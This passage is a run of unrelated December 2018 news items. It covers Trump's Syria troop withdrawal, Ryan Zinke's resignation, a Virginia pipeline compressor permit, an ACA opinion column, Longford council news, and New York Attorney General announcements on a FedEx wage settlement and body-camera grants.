potential for greater regional instability even as it provided Russia and its ally, Syrian President Bashar al-Assad, a chance to cement greater control over the country amid a civil war. Some of the most persistent criticism of Trump's move came Thursday from Sen. Lindsey Graham, R-S.C., an ally of the president on most issues. Graham, who earlier called Trump's decision "a disaster," drafted a nonbinding resolution for the Senate to call on Trump to reconsider his decision and for any future decision to withdraw to come only after a "robust interagency process" - implicit criticism of Trump's lack of consultation before Wednesday's announcement. "I think there's a lot of votes for it," Graham said at a news conference, adding that he was confident Trump had not consulted senior members of his national security team before making his decision. "Only in President Trump's parallel alternate universe has ISIS been defeated," said Sen. Robert Menendez, D-N.J., the top Democrat on the Senate Foreign Relations Committee, who appeared alongside Graham at the news conference on Capitol Hill. During a separate news conference, House Minority Leader Nancy Pelosi, D-Calif., criticized Trump for making his decision in "a cavalier fashion," calling it "a Christmas present to Vladimir Putin." As Trump was tweeting from the White House, Putin, at his annual year-end news conference, said the Islamic State has suffered "serious blows" in Syria and praised Trump's decision to withdraw U.S. forces. "On this, Donald is right. I agree with him," Putin said. Russia - Assad's most powerful ally - turned the tide in the civil war in Assad's favor and has maintained a military presence there. In one of his tweets, Trump quoted two Republican lawmakers who agreed with his decision, Sens. Rand Paul of Kentucky and Mike Lee of Utah. "I'm proud of the President today to hear that he is declaring victory in Syria," Trump quoted Paul as saying. "I couldn't agree more with the presidents decision," Trump quoted Lee as saying. He made no mention of criticism coming from Capitol Hill, including a letter sent Wednesday by a bipartisan group of six senators, including Graham. The letter asked Trump to reconsider, warning that withdrawing U.S. troops from Syria would "renew and embolden" the Islamic State, also known as ISIS, in the Middle East. Graham continued to raise objections to the move Thursday, disputing Trump's assertion that others in the region could continue the fight against ISIS. "When it comes to fighting ISIS I do not believe it is wise to outsource the fight to Russia, Iran, and Assad," Graham wrote on Twitter. "They do not have America's best interests at heart." Sen. Chris Murphy, D-Conn., questioned how Trump could assert on Wednesday that the Islamic State had been defeated while saying his tweets on Thursday that others in the region would now have to fight the terrorist group without the United States. "But wait a minute...I thought we defeated ISIS," Murphy tweeted. "Why would Russia, Iran and Syria have to fight them if they're defeated?" During a morning television appearance, House Minority Whip Steny Hoyer, D-Md., called Trump's decision "impulsive, irresponsible and dangerous." "I would hope that the president would reconsider," Hoyer said on CNN. "The only people happy today about this decision are, in my opinion, the Syrians, the Iranians, the Russians and ISIS and its allies. It was a terrible decision that puts our country in a bad spot." "It encourages ISIS; it doesn't defeat ISIS," Hoyer added. In his tweets, Trump seemed to dismiss such concerns, writing: "I am building by far the most powerful military in the world. ISIS hits us they are doomed!" As part of his defense of his decision, Trump quoted Fox News host Laura Ingraham in an earlier tweet, posted shortly after midnight, saying that Trump "gets no credit" for his efforts in the Middle East. "So true, thank you Laura!" Trump added in his own words. But such praise was hardly universal from usually Trump-friendly pundits. On Thursday morning on Fox News, "Fox & Friends" host Brian Kilmeade ripped into the decision, calling it a "stunning and irresponsible move." "Nobody thinks ISIS is defeated," Kilmeade told viewers. - - - The Washington Post's Robert Costa and Timothy Bella in Washington, and Anton Troianovski in Moscow contributed to this report. --- Video Embed Code Video: The Trump administration is planning to withdraw all U.S. troops from Syria immediately. The president tweeted Dec. 19 that the U.S. had defeated ISIS in Syria.(Jason Aldag/The Washington Post) Embed code: RICHMOND, Va. -- State regulators unexpectedly postponed action Wednesday on a permit for a gas compressor station in a historic African-American community. And at the heart of the delay is a strange disagreement about identity. The decision marked the second time members of the State Air Pollution Control Board have delayed action over questions about whether the project, being proposed by Dominion Energy as part of its Atlantic Coast natural gas pipeline, amounts to environmental racism. More than 100 protesters, many of them residents of the Union Hill community in Buckingham County, chanted and turned their backs on board members Wednesday for what they said was an attempt to impose a dangerous industrial facility on a community of color, including many elderly residents. With two rows of Dominion executives sitting in reserved front-row seats, staffers from Virginia's Department of Environmental Quality told the board that there's no cause for concern. They presented an analysis showing that the area around the proposed compressor is sparsely populated and has no greater concentration of minorities than the rest of the state. In additon, the staffers said, Union Hill has few historic resources of any significance. So how can two depictions of the same community be so different? That question is part of the reason board members delayed their vote and called for an extended public comment period. Lakshmi Fjord, a visiting scholar in anthropology at the University of Virginia, has spent more than two years analyzing the population around the proposed compressor site and chronicling its history. She said Dominion and the state are trying to downplay its significance. "They actively have erased the key evidence," she said. Union Hill was settled after the Civil War by freedmen and emancipated slaves. Dominion bought the land for the compressor station from white descendants of a plantation owner. Many of the records of the enslaved population were destroyed when Buckingham County's courthouse was burned in 1869 in what Fjord said was an attempt, repeated throughout the South, to keep former slaves from being able to file lawsuits against their former owners. Fjord has been working with the state Department of Historic Resources to recognize the Union Hill area, but said the lack of documentation has made it hard to complete the application. On Wednesday, the DEQ said that failure was evidence that no historic resources are threatened by the compressor station. Fjord also has worked with university students and Union Hill residents on a house-by-house study of the local population. She found 99 households within a 1.1-mile radius of the compressor site. Three-quarters of those households participated in the study, representing 199 residents. More than 83 percent of them were minorities. By contrast, DEQ presented a survey Wednesday that found a population density of about 27 people per square mile, with no more than 39 percent minorities. Michael Dowd, director of DEQ's air and renewable energy division, said the department's survey was based on Census tract data. Fjord argues that the Census-based survey is too broad - it uses county-wide averages and doesn't look at the actual situation in the neighborhood of the site. When the board considered the issue in November, another DEQ staffer - Patrick Corbett of the air permit office - cautioned against the Census data. "It's a screening mechanism. It's not - I wouldn't really rely on it," Corbett said in November. DEQ did not address that issue on Wednesday. Instead, Dowd presented the survey to the board at length. The board voted 3-1 to delay action on the permit so the public can submit written comments on the two competing demographic reports, both of which were updated or newly filed since the matter was first considered early last month. A new vote has not yet been scheduled, though board members said they wanted to keep the delay to a minimum. Opponents of the project were not sure what to make of the delay. "Well, I'm surprised," said Greg Buppert, a lawyer from the Southern Environmental Law Center (SELC). "We'll have to evaluate the circumstances with regard to this new development." A spokesman for Dominion seemed to take it in stride. "While we're disappointed with the additional delay, we're confident the Board will approve the permit after considering all of the facts," Dominion spokesman Aaron Ruby said via email. The compressor station is a crucial component of the Atlantic Coast Pipeline, a $7 billion project designed to carry fracked natural gas along 600 miles from West Virginia through central Virginia and into North Carolina. Dominion Energy is leading a consortium of companies in building the project, which has faced a string of setbacks in court challenges this year. Most recently, a panel of judges with the U.S. Court of Appeals for the Fourth Circuit last week rejected permits for the pipeline to cross the Appalachian Trail and two national forests. In recent days, a letter calling on the state to halt the compressor project over environmental justice concerns has been signed by a host of national celebrities, including Karenna Gore, the Rev. William Barber II, Robert F. Kennedy Jr. and actors Mark Ruffalo, Don Cheadle, Ed Asner, Danny Glover and Alyssa Milano. The project has caused divisions in the Union Hill community, though, with Dominion offering a $5.1 million "community investment package" to help build support among residents. The package includes building a community center, buying an ambulance and improving local 911 lines, and some residents have come to support the deal as a way to benefit from the situation. Even the approval process has drawn controversy. The state air board was supposed to vote on the permit in early November, but several of the six members had questions about whether state regulators had actually reviewed its impact on the community. (A seventh board member recused himself.) Instead of voting, the board delayed the matter for a month. Then, Gov. Ralph Northam, D, removed two board members whose terms had expired but who had been allowed to continue participating. Northam replaced them with two new appointees, leading to charges even from some longtime allies that he was tampering with the approval process to get a favorable result for Dominion, a major political donor. Northam responded by saying the two new appointees would not take part in the vote, leaving four members to resolve the issue. A spokeswoman for Northam said Wednesday that the governor does not expect the two new board members to participate in the compressor vote when it finally takes place. The Atlantic Coast Pipeline has faced several setbacks over its complicated permitting process. The Fourth Circuit appeals panel said last week that the U.S. Forest Service had "abdicated its responsibility" by failing to consider alternative routes that would have avoided the forests. The judges also ruled that the Forest Service has no authority to permit the pipeline to cross under the Appalachian Trail. Federal judges have also found that permits regulating the project's impact on endangered species were awarded without proper review. Work on the full length of the pipeline was halted earlier this month while that case is being resolved. WASHINGTON - A day after the Senate made Ryan Zinke the first Montanan to serve in a presidential Cabinet, the new Interior secretary put on a black cowboy hat, mounted a horse named Tonto and paraded across the Mall with a U.S. Park Police detail to the front doors of Interior's downtown Washington headquarters. At that moment last year, Zinke sat tall in the saddle. He was a one-term congressman who had blazed a political trail in his home state. His star was so bright that Senate Majority Leader Mitch McConnell, R-Ky., lobbied against his Cabinet appointment, thinking Zinke was almost a sure bet to defeat Sen. Jon Tester, D-Mont., who was reelected this year. To some liberal conservationists, Zinke appeared to be a conservative who could bridge the partisan divide. The Senate confirmed him with 68 votes. But Zinke was anything but bipartisan. His zeal in carrying out President Donald Trump's vision of "American energy dominance" by boosting coal and gas production on public lands angered Democrats who supported him, and his tendency to overstep the limits of his power at Interior worried Republicans and the president. When he abruptly resigned 10 days before Christmas, Zinke was facing five active federal investigations. During his brief 21-month tenure, he racked up a total of 15 probes into his management and behavior. Now the political future of the ex-Navy SEAL who so quickly found national prominence isn't so bright. Given Montana's conservative bent - Trump won the state in 2016 by nearly 20 points - a political comeback could still be possible. Zinke took pains to protect certain areas in the state even as he opened up land outside Montana to drilling and mining. A week ago, for example, he announced that the Bureau of Land Management had spent just over $1 million to acquire 960 acres of land within Montana's Little Sheep Creek. And he's not going away quietly: Zinke has a scheduled interview with Fox News at 6 p.m. Thursday. "I still think he's got a lot people who vote for him, but I think it will be much tougher for sportsmen, in particular, to support him," said Land Tawney, president of Backcountry Hunters & Anglers and a fifth-generation Montanan. Tawney said that even though Zinke decided against altering a national monument in Montana, the fact that he helped shrink two in Utah has made all federally protected areas vulnerable. "He set the precedent for doing that," he said. "He rode into D.C. on a horse in an English saddle," Tawney said, adding that a true Westerner, as the secretary claims to be, would've chosen a Western saddle. "That just kind of shows there's a disconnect in how he likes to see himself. He doesn't practice what he preaches." Among Zinke's final acts before his resignation was a holiday party at Interior that he told the White House he wanted to host before his dismissal. On a wall in his office were hunting trophies of bison and elk heads that he'd ordered workers to mount. In a corner was the stuffed carcass of a grizzly, with a Santa's cap perched on its massive head. The secretary's signature collection of large military assault knives was nearby. Shortly after he arrived at Interior, Zinke installed an arcade game that simulated hunting and killing in a common area to reaffirm his avid support for the sport. Finally, Zinke ordered staff to fly a secretarial flag over the building, and to raise and lower it when he came and went. No one could recall a similar ritual ever happening in the federal government. Those were just the little changes. Zinke wasted no time in fulfilling Trump's promise to Sen. Orrin Hatch, R-Utah, and others in the state's congressional delegation to dramatically reduce two popular national monuments designated by Democratic presidents. He cut the acreage of Bears Ears by 85 percent and Grand Staircase-Escalante by 46 percent, a feat no other Interior secretary had attempted. At the same time, Zinke executed Trump's "American energy dominance" agenda to exploit federal land and waters for coal, oil and gas production. Under Trump, nearly 95 million acres of public land and water have been offered for oil development, an area the size of Montana, according to the Wilderness Society, a conservation group. The 153 million acres of land and water that Interior stripped of federal protection is larger than California and Washington combined, the group said. To some, this approach struck the right balance. "Thank you, Secretary Zinke, for restoring commonsense management of our public lands, fighting to end the war on coal and for making the U.S. energy dominant," Sen. Steve Daines, R-Mont., tweeted after Trump announced that Zinke would leave Interior at the end of the year. "Montana is proud of you!" But it turned others against him. Collin O'Mara, the National Wildlife Federation president who attended a meet-and-greet with Zinke on his first day in office, blasted him in an opinion piece published by The Washington Post. Zinke's lasting legacy won't be the investigations he faces; it "will be the millions of acres of public lands degraded, the climate pollution increased, the outdoor recreational opportunities forsaken, the national monuments decimated and the wildlife species imperiled by an all-consuming energy dominance agenda," O'Mara wrote Sunday. Critics contrasted Zinke's actions with those of Theodore Roosevelt, the former Republican president the secretary often cited as his hero. Roosevelt "set aside roughly 300 million acres of the federal estate for the use of all Americans," said Tracy Stone-Manning, associate vice president for public lands at the National Wildlife Federation. Roosevelt's conservation includes 79 wildlife refuges, game reserves, national parks and national monuments. In service to Trump, Zinke pursued the most ambitious expansion of offshore leasing in history, proposing a plan to open nearly the entire U.S. outer continental shelf to the oil and gas industry, including the Pacific and Arctic oceans, along with the Atlantic, where drilling had not happened in about five decades. Every governor except Maine's eventually opposed it. What happened in the week after Zinke announced the proposal in early January probably contributed to his downfall. Without informing the president, Zinke flew to Florida to meet with Republican Gov. Rick Scott, a Trump backer and a onetime supporter of drilling who was mulling a Senate run. Zinke assured Scott that Florida would be exempt from the plan, a promise that stood to help the governor against Democratic Sen. Bill Nelson, a fierce opponent of drilling and Trump. The maneuver backfired, angering Trump, who favored drilling off Florida, and nearly every governor who wanted the same deal. Within weeks, Interior's inspector general opened an investigation into the matter. But the investigation that hurt Zinke most was yet to come. During the summer, Politico revealed that Zinke might have been in talks with the chairman of Halliburton, an oil services company that Interior regulates, regarding a commercial development in his hometown of Whitefish, Montana. Soon after, the inspector general opened a probe to determine whether Zinke was using his office to enrich himself. The White House became concerned about the case after it was forwarded to the Justice Department for a possible criminal investigation. The Office of Special Counsel said it can't confirm or deny whether cases are open or closed, but investigations "typically continue even after the subject ... leaves federal service," said spokesman Zachary Kurz. Justice has a similar policy. Zinke has also been investigated over allegations that he broke federal rules by reassigning senior employees without proper notice, violated ethics by misusing aircraft for travel and disregarded departmental regulations by allowing his wife to travel in government vehicles. At least 10 of the investigations against Zinke were closed with a finding of no wrongdoing. Last month, for example, the inspector general found no evidence that Interior redrew the boundaries of Utah's Grand Staircase-Escalante National Monument for a state lawmaker's financial benefit. And even as whispers of his ouster swirled around Washington in November, Zinke disputed notions that he had done anything wrong. "The allegations against me are outrageous; they're false," he told Breitbart News on SiriusXM Patriot, a conservative talk radio channel. "Everyone knows they're false." Zinke declared that a "resistance movement" of activists angry about his policies was spreading rumors and threatening his wife and children. He demeaned the ethics probes into his activities as "fake news" and vowed to stay on the his job, saying the president backed him "100 percent." He was mistaken. On Saturday, Trump tweeted that Zinke "will be leaving the Administration at the end of the year after having served for a period of almost two years." Zinke followed Trump's tweet with his own: "I love working for the President and am incredibly proud of all the good work we've accomplished together. However, after 30 years of public service, I cannot justify spending thousands of dollars defending myself and my family against false allegations." But those allegations won't go away when Zinke departs Washington. Nancy DiPaolo, a spokeswoman for Interior's inspector general, declined to discuss two investigations of Zinke because they are active, "Right now, they're going forward." In an interview Wednesday, Rep. Raul Grijalva, D-Ariz. - who is poised to take over as chairman of the House Natural Resources Committee in the next Congress - said that even though Zinke is gone lawmakers will continue to scrutinize how he ran the department over the past two years. "We don't see that as the end of it," he said. "I think there are facts that need to come out ... The public's got a right to know about some of these decisions, and who's gaining from them." For the 21 months of Zinke's reign, Grijalva could only watch as Zinke killed scientific studies and weakened regulations to protect federal lands. One study by the National Academies of Science, Engineering and Medicine sought to determine the health effects faced by people who live near sites where mountaintops are blasted away to excavate coal, and another by the group sought to find ways to make working on offshore oil platforms safer. Interior also weakened rules put in place by the Obama administration after the BP Deepwater Horizon disaster to prevent major oil spills. The Bureau of Land Management lifted regulations to allow fracking on millions of acres of protected federal lands and erased a rule curbing emissions of the most potent greenhouse gas, methane, produced by fracking operations. Last month, the day after Thanksgiving, Interior announced that it was weakening federal rules that protected sage grouse on 9 million acres of land so that mining companies could work it. Sage grouse are protected not only because their historic numbers have cratered, but also because the bird's well-being is an indication of the health of an entire ecosystem called the sagebrush, which teems with animals that are either threatened or are on the verge of endangerment. Interior declined an interview request for this story. "The secretary is not available," spokeswoman Heather Smith said in an email. Zinke's approach to running the department alienated employees. At first, Zinke said he would fight Trump's proposal to cut a hefty percent of Interior's budget, but he reversed himself within weeks and wholeheartedly supported the president's plan to eliminate 4,000 jobs. "This is what a balanced budget looks like," he told lawmakers, who ultimately voted against it. In a speech last year to a federal advisory board dominated by oil and gas industry executives, he described Interior's 70,000-person workforce by saying, "I got 30 percent of the crew that's not loyal to the flag," meaning they didn't support Trump or his policies. He proposed a massive and costly reorganization of his department, drafting plans to merge different divisions into geographic regions and move the Bureau of Land Management out West. He froze or dismantled dozens of Interior advisory boards, establishing new ones focused on promoting trophy hunting overseas as well as hunting on public land. And he removed senior executives seemingly on a whim, drawing a rebuke from the inspector general's office following an investigation. Six of seven regional directors at the National Park Service have either been reassigned or retired rather than give in to a cross-country move ordered by Zinke. One senior executive, Joel Clement, a scientist and policy expert, was reassigned to an accounting position for which he has no experience after publicly disclosing how climate change hurt Alaska Native communities. Clement quit and became a whistleblower. His reassignment is under investigation. "You have to wonder if all of this reshuffling isn't part of a grand plan to force out the most senior members of the service, those who know law and policy, and would likely push back on many of the unfortunate policies of this administration," said Maureen Finnerty, chair of the Coalition to Protect America's National Parks. Federal data shows that Interior lost 500 employees between Trump's inauguration last year and June, a 1 percent decline in the workforce. Under the Obama administration, the agency grew by 4 percent. Democrats in Congress, as well as conservationists nationwide, called Zinke's work an abomination, particularly for someone who said in confirmation hearings that his stewardship would be similar to Roosevelt, widely hailed as America's greatest conservationist president. In March, Sen. Ron Wyden, D-Ore., reminded Zinke that during his confirmation hearings, he "mentioned Teddy Roosevelt nine times." "I said I would support your nomination, and I did," Wyden said. "I will tell you right now, as of today, it is one of the biggest regrets in my public service." - - - The Washington Post's Andrew Ba Tran contributed to this report. BASF is investing in a new production facility for mobile emissions catalysts at its Pudong site in Shanghai, China. The new 30,000-square-meter facility will house multiple manufacturing lines, providing a full range of emissions control technologies for heavy-duty and light-duty vehicle manufacturers. Construction is underway, with start-up planned for the end of 2019. The plant will manufacture catalysts for gasoline and diesel vehicles in the growing Chinese market. The catalysts will help automotive customers meet more stringent emission control requirements ahead of China Stage 6 implementation in 2020. BASF is committed to supporting customers in China with state-of-the-art environmental catalysts solutions, said Dr. Stephan Kothrade, President Functions Asia Pacific, President and Chairman Greater China, BASF. We want to greatly contribute to Chinas three-year plan to protect blue skies, with advanced mobile emissions catalysts that meet the strictest environmental regulation requirements in China. BASF continues to support strong business growth in China through production capacity and innovation capabilities to meet local customer needs, said Dr. Dirk Demuth, Senior Vice President, Mobile Emissions Catalysts, BASF. Our new facility in China will enable BASF to support our customers in this growing market. The new facility offers flexibility for future expansion and upgrades to adapt to market requirements in the years ahead. How many times do we have to go through this? Thats what Kathy Tomasic wants to know. Painstakingly, she has planned her life and that of her teenage son, who has a rare genetic disorder around access to health care. She did so based on a specific set of assumptions about what kinds of insurance would be available to her family, under what conditions and for how many years. But Friday, that careful planning was once again thrown into doubt this time by a federal judges decision in Texas declaring the entire Affordable Care Act unconstitutional. In public remarks, Republicans have tried to reassure the public by saying, Nothing changes tomorrow. This case may or may not make its way up to the Supreme Court, they note; the high court may or may not reverse the ruling; and Congress may or may not pass new legislation ultimately preserving the many popular provisions of Obamacare, which, by the way, turn out to be almost every major provision of Obamacare. In other words: Dont worry! It could well be years before this latest threat to the law you depend on does damage! Coming from Republicans, this is truly a bizarre message. For a decade, they decried the intolerable uncertainty that Obama-era policies created for businesses. How could entrepreneurs decide how much to invest, and where, and under what terms, they asked, if the rules of the road were in flux? Yet Republicans relentless attempts to undermine the ACA through repeal, arbitrary regulatory changes and delays, funding cuts, elimination of low-income subsidies, a never-ending parade of lawsuits only escalate this anxiety-inducing uncertainty. Not just for businesses, but for millions of American families, too. I first spoke to Tomasic last year, when Congress was trying to repeal the Affordable Care Act legislatively. Like others among the 60 percent of Americans whose households include someone with a pre-existing condition, she found this prospect terrifying. Her younger son, Alec, is something of a prodigy. At 15, he was accepted to the University of California at Berkeley, where hes now a junior studying physics. He hopes to enroll in a Ph.D. program when he graduates, likely focusing on fusion research. But arranging these educational feats has been complicated. Alec has a disorder called mastocytosis, which periodically sends his body into shock and lands him in the hospital. For years, Alecs older brother, Nelson, helped care for him. When Alec was accepted to Berkeley, though, his mother decided it was time to let Nelson live his own life. She quit her full-time job in San Diego and moved with Alec to Berkeley, which gave her a flexible, part-time position. Depending on her hours, however, that position doesnt reliably come with benefits. She decided to make the career move anyway because she knew she could purchase subsidized Obamacare insurance, which next year will cost her about $400 per month. When Congress tried to repeal Obamacare last year, she fretted. At 59, she says her own health is not pristine; shes not sure she could find a new job that offers insurance; and without coverage herself, what would happen to her sons if she falls ill or dies? So when repeal failed, Tomasic breathed a huge sigh of relief. Then came this latest lawsuit from the attorneys general and governors of 20 red states. Using a legal argument thats been deemed ridiculous by even conservative legal scholars, these states persuaded a Texas judge to strike down the individual mandate, and with it, the entire ACA its protections for those with pre-existing conditions, its Medicaid expansion, its income-based subsidies, everything. Given her age and health status, Tomasics ability to buy insurance on the individual market could disappear if the ruling stands. Shes not the only member of her household at risk of losing insurance either. Alec gets coverage through his fathers plan, which the ACA allows him to remain on until age 26; if the law goes away, that plan could boot him as early as age 19, depending on his school status. Perhaps he could then enroll in a plan through school. But not all such plans cover the $2,000 shot he gets each month to stabilize his condition. All this planning and scheming we have to do, its really appalling, Tomasic says. Especially in a country as rich as ours. Her familys health and financial security was sewn together with a few fragile threads. Republicans threaten to unravel all of them. crampell@washpost.com Marshall quarterback Grant Wells was injured in the second quarter and Western Kentucky scored 47 points in the second half en route to a 53-21 win over the Herd in front of 19,134 fans at Joan C. Edwards Stadium on Saturday. They were the deafening roars from Cllr Seamus Butler last week as local politicians slammed the decision by department officials to reject calls for a meeting over the creation of a new spatial plan aimed at driving planning and economic strategy into the future. Not for the first time, local politicians registered their misgivings over the plan in terms of tighter guidelines surrounding one off housing as well as population caps for some of Co Longfords busiest urban centres. But it was the Fianna Fail group leader who caused many inside the chamber to flinch as he launched a withering tirade against the reports authors. The work that is being put in in this Council is second to none and yet there are Dublin centric bureaucrats trying to dictate to us the boundaries on which we can expand, he said. Cllr Gerald Farrell said he too was baffled by the documents contents and claimed the repercussions for counties like Longford were grave. It makes you feel rural Ireland is dying, he said. We can talk about regeneration and all of that but I fear there will be nothing left to fund in a number of years time. His party colleague, Cllr Colm Murray was more circumspect despite attending a recent meeting in Tullamore concerning the draft report. I dont agree with the claim that rural Ireland is dying but this plan does pose a significant threat going forward, he contended. I went down to that meeting and expected to be talked at and thats exactly what happened. Cllr PJ Reilly, a member of the Eastern and Midland Regional Assembly, the architects behind the Regional Spatial and Economic Strategy (RSES) laid the blame firmly at the doors of those inside Leinster House. The sleeping dog in all of this is the Oireachtas members and the Government because they are not taking an active part in this, he argued. Another Fianna Fail member, Cllr Martin Mullleady gave a similar appraisal while also appearing to question recent comments made by Taoiseach Leo Varadkar over plans to extend the N4 from Mullingar. At the end of the day, the buck stops with the Government, he said. He (Mr Varadkar) made no comment on RTE News last Friday about the N4 only to say it is part of the Project Ireland 2040. We are constantly saying here that we need to talk up our county, but we dont even have a proper road structure. Fine Gaels Micheal Carrigy backed calls for a meeting involving other midland based counties to discuss the reports proposals and like Cllr Murray batted away suggestions rural Ireland was in a malaise. Rural Ireland is not dead, he contended. There is a minister (Michael Ring) in charge of a Department (Rural and Community Affairs) that has seen significant funding go to every town and village in this country, including Longford. A special meeting, which is expected to include representatives from Laois, Westmeath and Offaly, is expected to take place on January 9 where a further discussion on the issue is pencilled in for discussion. Read Also: Calls for end to 'mad' housing policy in Longford Energy storage is becoming hugely important around the world at the moment and the Royal Irish Society of Chemistry recently published a book that explains the issue in great detail. Entitled 'Energy Storage Options and their Environmental Impact', the book was put together by a total of 29 contributors - many of whom are academics from Universities and Institutes of Technology from Germany, Denmark Japan, Britain and Ireland. One of the contributors is Peter Duffy who lives in Lisduff, Longford, and worked with the ESB for 19 years in various power stations - including the one in Lanesboro. Peter graduated from University College Dublin (Engineering) and Fordham University, New York (MBA). After forming Enercomm International consultancy he worked on energy assignments in Ireland, Israel, Croatia, Russia, Serbia and Kosovo, advising the new Government there. The Society wanted a person involved who has long and extensive experience in the power business and hence they invited me to participate in the project, with the task of putting energy storage in context in the power sector, Peter told the Longford Leader. The book examines all forms of storage including large-scale batteries, flywheels, supercapacitors plus pumped-hydro and compressed air energy storage. It aims to provide a valuable resource for decision-makers, scientists and engineers, energy practitioners and students. The reason for the book at this time, according to Peter, is that energy storage is becoming enormously important with the increase in wind, solar PV and ocean energy worldwide. Renewable electricity will have an increasing impact in combatting climate change in the years ahead, as economies transition from fossil fuels to renewables. Energy storage will play a key role in that transition and beyond in two areas namely - to enable grid operators maintain secure and stable grids, and to help balance supply and demand as renewable generation isn't always there when required. With the shift to greater use of renewable energy sources, energy storage is growing rapidly across all parts of the globe including Europe, China, India, the US and Australia, he said. Also, energy storage is being considered in bringing electricity to island and remote communities around the world, in order to stabilize their mini or micro-grid powered by renewables (mainly wind, solar and biomass). The application of such technology will help to bring a stable supply of electricity to these people and improve the quality of their lives. Peter intends to leave a copy of his book in the Longford Library where students who are undertaking energy projects, or anyone interested in reading it, can avail of it as a useful resource. Irish actor Colin Farrell leads a Late Late Show line-up including Bryan Dobson and Brendan Grace, with music from the Palestrina Choir. While he is best known for his work on the silver screen, Colin Farrell also works closely with DEBRA Ireland, a charity providing support to patients and families living with the debilitating skin condition Epidermolysis Bullosa (EB). Colin and EB sufferer Emma Fogarty join Ryan Tubridy to discuss what its like to live with the condition, and how their friendship has blossomed through their work with the charity. WATCH | They've left a legacy... Mighty Mullinalaghta continue to win hearts of the nation with Late Late Show appearance 2018 was a tumultuous year for the Irish news agenda, with the Beast from the East, a heatwave, two referenda, a presidential campaign and Brexit negotiations dominating front pages and airwaves across the country. Morning Ireland presenter Bryan Dobson will be live in studio with Ryan to take a look back at some of the images which best represent the stand-out news stories of 2018. With the festivities creeping ever closer, Ryan will be getting some last minute Christmas tips from some of Irelands food and drink experts. Currabinny's James Kavanagh and William Murray will be sharing recipes for dishes to serve alongside your turkey; well have a master brewer from the Artisan Brew Academy in Dublin to explain how you can brew your own beer, and Christmas ham is front and centre as we chat with pig farmer Ivan Belton and butcher Clive Clarke. In 2016, Derek OConnor lost his wife Maeve to bowel cancer, leaving him and their three children to navigate the world without her. Derek joins Ryan to chat about grief and dealing with the death of his wife in the run up to Christmas. Ryan will also be joined by Brendan Grace for a look back at his career to date as he nears fifty years in showbiz, and therell be music from the Palestrina Choir, and John Gibbons featuring Nina Nesbitt. The Late Late Show is on RTE One, Friday, December 21st at 9.35pm. Initial plans to create new retail space east of the building, where a sunken plaza currently stands, were scrapped. Instead, a 9,000-square-foot pavilion will be built for guests to enter southeast of the tower. After buying tickets, guests will use a walkway under the office tower to access observatory elevators on the northwest corner of the building. Local News, Crime, Business & Finance, Press Releases By Long Island News & PR Published: December 20 2018 Agreement Creates $2 Million Fund for Hundreds of FedEx Ground and FedEx Home Drivers to Receive Restitution for Unpaid Overtime and Unlawful Wage Deductions. New York, NY - December 20, 2018 - Attorney General Barbara D. Underwood today announced Attorney General Barbara D. Underwood today announced the settlement of a lawsuit against FedEx Ground Package System, Inc. (FedEx Ground) that will distribute $2 million to an estimated 500 qualifying drivers who delivered packages for FedEx Ground and its division, FedEx Home Delivery. The Attorney General filed the lawsuit in October 2010 in the Supreme Court for New York County, alleging that these drivers had been unlawfully misclassified as independent contractors and were, in fact, employees. The Attorney Generals action sought restitution for violations of New York Labor Law, including unpaid overtime and unlawful deductions from wages. Companies cannot misclassify employees in order to dodge their legal obligations period, said Attorney General Underwood. We will continue to hold accountable employers who fail to pay workers the wages theyre owed under the law. Since 2011, the New York Attorney Generals office has recovered over $33 million in stolen wages for 22,000 workers across New York. The settlement fund will be distributed to two classes of affected FedEx drivers. One class covers unpaid overtime claims for current and former FedEx Ground and FedEx Home drivers who entered into an operating agreement with FedEx on or after August 10, 2005, provided services to FedEx Ground up to September 2016, and drove over 40 hours in a week. The second class covers unlawful deductions claims for current and former FedEx Ground and FedEx Home drivers who entered into an operating agreement with FedEx Ground between October 15, 2007 and September 11, 2009 and provided services to FedEx Ground up to September 2016. Qualifying drivers will be sent notice by the claims administrator and be required to submit a claim form in order to qualify for payment from the settlement fund. The settlement sets a timetable for sending notice and processing claims that will commence after court approval of the settlement agreement, which was filed today in New York County Supreme Court. This settlement is part of the Attorney Generals continuing efforts to hold accountable employers who evade labor law requirements by improperly classifying workers as independent contractors. Employers who do so deny legally required wages, benefits, and protections to their employees, such as reimbursement for employees out-of-pocket, work-related expenses, overtime pay for hours over 40 in a workweek, unemployment insurance, and workers compensation. Todays settlement follows the Attorney Generals criminal prosecution of three Queens construction companies for misclassifying workers, with over $371,000 in unpaid wages recovered for workers. Recently, the Attorney General also jointly filed a brief with 12 other states supporting the National Labor Relations Boards decision that a companys misclassification of employees as independent contractors constituted an unfair labor practice in violation of the National Labor Relations Act. Local News, Crime, Business & Finance, Press Releases By Long Island News & PR Published: December 20 2018 CAMS Program Will Bring Body-Worn Cameras to Communities Across New York State. New York, NY - December 20, 2018 - Attorney General Barbara D. Underwood announced that her office has awarded over $1 million to 13 local law enforcement agencies across New York State to create and expand body-worn camera programs. Through the Attorney Generals CAMS (Capture an Account of a Material Situation) program which was launched in July 2018 and is funded with money recovered from organized crime takedowns by the Attorney Generals office local law enforcement agencies around the state will be able to purchase 959 body-worn cameras, 258 body-worn camera systems (which include cameras and other components, such as storage and/or accessories), and numerous body-worn camera accessories, such as docking stations and mount clips. Body-worn cameras create independent accounts of encounters between police and the public, increasing transparency and accountability and often providing critical evidence in investigations. Body-worn cameras help ensure increased accountability and transparency during law enforcement interactions, said Attorney General Underwood. Yet too often, local police departments dont have the resources to buy them. By using funds recovered from our organized crime busts, were now able to equip local police departments across the state with body cameras benefitting all New Yorkers as we work to ensure safe and fair communities. In addition to funds provided through the CAMS program, local law-enforcement agencies applying for the grant are responsible for securing a 25% funding match. The match helps increase the scope of the overall body-worn camera program. The funding has been awarded as follows: The Albany County Sheriff's Office will receive $69,151 for 43 body-worn camera systems, six body-worn camera docking stations, and other body-worn camera accessories. Body-worn cameras will be used to help create the Albany County Sheriff's body-worn camera program. The Amherst Police Department will receive $37,625 for 43 body-worn cameras. Body-worn cameras will help equip the entire patrol division. The Buffalo Police Department will receive $150,000 for 300 body-worn cameras. Body-worn cameras will assist in the effort to equip all patrol officers. The Monroe County Sheriff's Office will receive $59,694 for 30 body-worn camera systems and six body-worn camera docking stations. Body-worn cameras will be used to equip additional members of the road patrol division. The Niagara Falls Police Department will receive $51,791 for 64 body-worn cameras and 9 body-worn camera docking stations. The new body-worn cameras will cover cameras in need of replacement. The Rochester Police Department will receive $104,508.75 for 70 body-worn camera systems and 25 vehicle docking bases. Body-worn cameras will expand the existing program to units that include Crime Prevention, License Investigation, and more. The Suffolk 